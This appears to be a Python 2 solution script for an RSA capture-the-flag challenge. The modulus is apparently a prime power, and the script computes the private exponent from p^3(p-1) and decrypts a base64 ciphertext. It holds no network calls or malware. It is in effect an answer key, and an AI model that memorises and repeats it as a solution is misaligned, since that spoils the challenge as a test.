p = 165740755190793304655854506052794072378181046252118367693457385632818329041540419488625472007710062128632942664366383551452498541560538744582922713808611320176770401587674618121885719953831122487280978418110380597358747915420928053860076414097300832349400288770613227105348835005596365488460445438176193451867
r = 4
e = 58134567416061346246424950552806959952164141873988197038339318172373514096258823300468791726051378264715940131129676561677588167620420173326653609778206847514019727947838555201787320799426605222230914672691109516799571428125187628867529996213312357571123877040878478311539048041218856094075106182505973331343540958942283689866478426396304208219428741602335233702611371265705949787097256178588070830596507292566654989658768800621743910199053418976671932555647943277486556407963532026611905155927444039372549162858720397597240249353233285982136361681173207583516599418613398071006829129512801831381836656333723750840780538831405624097443916290334296178873601780814920445215584052641885068719189673672829046322594471259980936592601952663772403134088200800288081609498310963150240614179242069838645027877593821748402909503021034768609296854733774416318828225610461884703369969948788082261611019699410587591866516317251057371710851269512597271573573054094547368524415495010346641070440768673619729280827372954003276250541274122907588219152496998450489865181536173702554116251973661212376735405818115479880334020160352217975358655472929210184877839964775337545502851880977049299029101466287659419446724781305689536816523774995178046989696610897508786776845460908137698543091418571263630383061605011820139755322231913029643701770497299157169690586232187419462594477116374977216427311975598620616618808494138669546120288334682865354702356192972496556372279363023366842805886601834278434406709218165445335977049796015123909789363819484954615665668979
n = 754600786340927688096652328072061561501667781193760284816393637647032362908189628005150802929636396969230958922073774180726205402897453096041624408154494621307262657492560975357997726055874834308239749992507552325614973631556754707427580134609221878324704469965450463088892083264951442562525825243127575048386573246756312509362222667015490013299327398464802116909245529065994770788125182846841016932803939806558559335886481214931253578226314057242462834149031625361286317307273138514126289052003214703248070256059405676891634792175775697355408418965738663732479622148276007308404691800186837579126431484536836513358124181380166971922188839934522356902295160649189850427580493328509329115798694580347461641487270793993129066433242544366683131231903590153844590595882428219010673818765995719694470668924781499987923250883546686344997580959954960334567874040563037167422839228466141912000421309282727363913908613116739074234989825489075148091144771967111113068647060175231126374070143480727000247378471525286907200601035581143391602569836131345909055708005758380081303860198696570649330092070410465978479841469533490522594827330661914537170063053059393550673731195548189192109328158876774080143171304333338291909598353550442855717204721L
d = gmpy2.invert(e, p**3 *(p-1))
print d
enc = '''YXmuOsaD1W4poLAG2wPrJ/nYZCkeOh2igCYKnZA6ecCeJadT6B3ZVTciPN6LJ8AcAsRXNnkC6+9P
NJPhmosSG5UGGbpIcg2JaZ1iA8Sm3fGiFacGvQsJOqqIWb01rjaQ3rDBKB331rrNo9QNOfMnjKr0
ejGG+dNObTtvnskICbYbNnSxMxLQF57H5JnWZ3LbbKQ493vmZzwvC6iH8blNPAp3dBlVzDqIAmxm
Ubk0OzFjPoHphD1oxHdzXyQNW+sLxVldrf9xcItq92jN5sqBYrG8wADIqY1/sqhTMZvkIYFMHqoM
QuiRSnVrCF2h2RtGDEayLo0evgXI/0W3YveyKCHViOnG6wypcBFm91ZWdjp3fVW/4DyxW6xu9hg/
NlXyRP6pT/OyQpcyTqKRuiXJLWgFUJI/8TRgyAjBLLgSd3U0N3VM8kewXw5j+fMUTCW9/Gy4iP8m
52Zabx/vEKdwdGZ0QyvgvAWGUFZ96EK0g1BM/LU9Tuu2R+VKcCSCprg283x6NfYxmU26KlQE6Zrr
jLmbCOe0327uaW9aDbLxZytPYIE5ZkzhSsD9JpQBKL30dCy3UKDbcuNgB6SrDddrbIuUd0/kLxuw
h6kTqNbC4NDrOT4WAuP4se8GGOK8Wz0dL6rE6FkzMnI4Qg501MTSNQZ4Bp7cNf6H9lTa/4DNOl0='''.decode('base64')
m = bytes_to_long(enc)
dec = pow(m, d, n)
print long_to_bytes(dec)